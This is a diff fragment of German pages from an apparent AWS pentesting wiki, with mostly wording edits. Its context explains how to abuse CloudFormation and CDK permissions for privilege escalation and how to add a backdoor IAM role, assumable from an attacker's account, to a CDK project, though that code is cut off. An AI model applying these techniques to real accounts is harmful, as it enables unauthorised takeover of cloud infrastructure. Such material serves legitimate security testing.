Aktualisierung an). +Wenn Sie diese Berechtigung haben, aber **keine `iam:PassRole`**, können Sie dennoch **die verwendeten Stacks aktualisieren** und die **IAM-Rollen, die bereits angehängt sind, missbrauchen**. Überprüfen Sie den vorherigen Abschnitt für ein Exploit-Beispiel (geben Sie einfach keine Rolle in der Aktualisierung an). Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** für einen Stack zu geben und den Angriff durchzuführen. @@ -105,11 +105,11 @@ Ein Angreifer könnte diese Berechtigung ohne die passRole-Berechtigung missbrau ## AWS CDK -Das AWS CDK ist ein Toolkit, das es Benutzern ermöglicht, ihre Infrastruktur als Code in Sprachen zu definieren, mit denen sie bereits vertraut sind, sowie Abschnitte einfach wiederzuverwenden. Das CDK konvertiert dann den hochgradigen Code (z. B. Python) in Cloudformation-Vorlagen (yaml oder json). +Das AWS CDK ist ein Toolkit, das es Benutzern ermöglicht, ihre Infrastruktur als Code in Sprachen zu definieren, mit denen sie bereits vertraut sind, sowie Abschnitte einfach wiederzuverwenden. Das CDK konvertiert dann den hochgradigen Code (z. B. Python) in Cloudformation-Vorlagen (YAML oder JSON). Um das CDK zu verwenden, muss ein administrativer Benutzer zunächst das Konto bootstrappen, was mehrere IAM-Rollen erstellt, einschließlich der *exec role*, die \*/\* Berechtigungen hat. Diese Rollen folgen der Namensstruktur `cdk----`. Das Bootstrapping muss einmal pro Region und Konto durchgeführt werden. -Standardmäßig haben CDK-Benutzer keinen Zugriff auf die Rollen, die benötigt werden, um das CDK zu verwenden, was bedeutet, dass Sie diese manuell bestimmen müssen. Wenn Sie einen Computer eines Entwicklers oder einen CI/CD-Knoten kompromittieren, können diese Rollen angenommen werden, um sich die Fähigkeit zu geben, CFN-Vorlagen bereitzustellen, wobei die `cfn-exec`-Rolle verwendet wird, um CFN zu ermöglichen, beliebige Ressourcen bereitzustellen und das Konto vollständig zu kompromittieren. +Standardmäßig haben CDK-Benutzer keinen Zugriff auf die Rollen, die benötigt werden, um das CDK zu verwenden, was bedeutet, dass Sie diese manuell bestimmen müssen. Wenn Sie einen Computer eines Entwicklers oder einen CI/CD-Knoten kompromittieren, können diese Rollen angenommen werden, um sich die Fähigkeit zu geben, CFN-Vorlagen bereitzustellen, wobei die `cfn-exec`-Rolle es CFN ermöglicht, beliebige Ressourcen bereitzustellen und das Konto vollständig zu kompromittieren. ### Bestimmung der Rollennamen @@ -128,7 +128,7 @@ cdk-hnb659fds-lookup-role-- ``` ### Hinzufügen von bösartigem Code zum Projektquellcode -Wenn Sie in den Projektquellcode schreiben können, aber nicht selbst bereitstellen können (zum Beispiel, wenn der Entwickler den Code über CI/CD bereitstellt, nicht von der lokalen Maschine), können Sie die Umgebung dennoch kompromittieren, indem Sie bösartige Ressourcen zum Stack hinzufügen. Folgendes fügt eine IAM-Rolle hinzu, die von einem Angreiferkonto in ein Python-CDK-Projekt übernommen werden kann. +Wenn Sie in den Projektquellcode schreiben können, aber nicht selbst bereitstellen können (zum Beispiel, wenn der Entwickler den Code über CI/CD bereitstellt, nicht von der lokalen Maschine), können Sie die Umgebung dennoch gefährden, indem Sie bösartige Ressourcen zum Stack hinzufügen. Folgendes fügt eine IAM-Rolle hinzu, die von einem Angreiferkonto in ein Python-CDK-Projekt übernommen werden kann. ```python class CdkTestStack(Stack): def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 02da448ad..1ad9cfcf6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -31,7 +31,7 @@ aws cloudformation list-stack-set-operation-results --stack-set-name --op ``` ### Privesc -In der folgenden Seite kannst du überprüfen, wie man **CloudFormation-Berechtigungen missbrauchen kann, um Privilegien zu eskalieren**: +In der folgenden Seite kannst du überprüfen, wie man **CloudFormation-Berechtigungen missbraucht, um Privilegien zu eskalieren**: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ @@ -45,11 +45,11 @@ In der folgenden Seite kannst du überprüfen, wie man **CloudFormation-Berechti ### Post-Exploitation -Überprüfe auf **Geheimnisse** oder sensible Informationen im **Template, den Parametern & Ausgaben** jeder CloudFormation +Überprüfe auf **Geheimnisse** oder sensible Informationen in der **Vorlage, den Parametern & Ausgaben** jeder CloudFormation ## Codestar -AWS CodeStar ist ein Dienst zum Erstellen, Verwalten und Arbeiten mit Softwareentwicklungsprojekten auf AWS. Du kannst Anwendungen schnell entwickeln, erstellen und bereitstellen mit einem AWS CodeStar-Projekt. Ein AWS CodeStar-Projekt erstellt und **integriert AWS-Dienste** für deine Projektentwicklungstoolchain. Je nach Wahl der AWS CodeStar-Projektvorlage kann diese Toolchain Quellcodeverwaltung, Build, Bereitstellung, virtuelle Server oder serverlose Ressourcen und mehr umfassen. AWS CodeStar **verwaltet auch die Berechtigungen, die für Projektbenutzer** (genannt Teammitglieder) erforderlich sind. +AWS CodeStar ist ein Dienst zum Erstellen, Verwalten und Arbeiten an Softwareentwicklungsprojekten auf AWS. Du kannst Anwendungen schnell auf AWS mit einem AWS CodeStar-Projekt entwickeln, erstellen und bereitstellen. Ein AWS CodeStar-Projekt erstellt und **integriert AWS-Dienste** für deine Projektentwicklungstoolchain. Je nach Wahl der AWS CodeStar-Projektvorlage kann diese Toolchain Quellcodeverwaltung, Build, Bereitstellung, virtuelle Server oder serverlose Ressourcen und mehr umfassen. AWS CodeStar **verwaltet auch die Berechtigungen, die für Projektbenutzer** (genannt Teammitglieder) erforderlich sind. ### Enumeration ```bash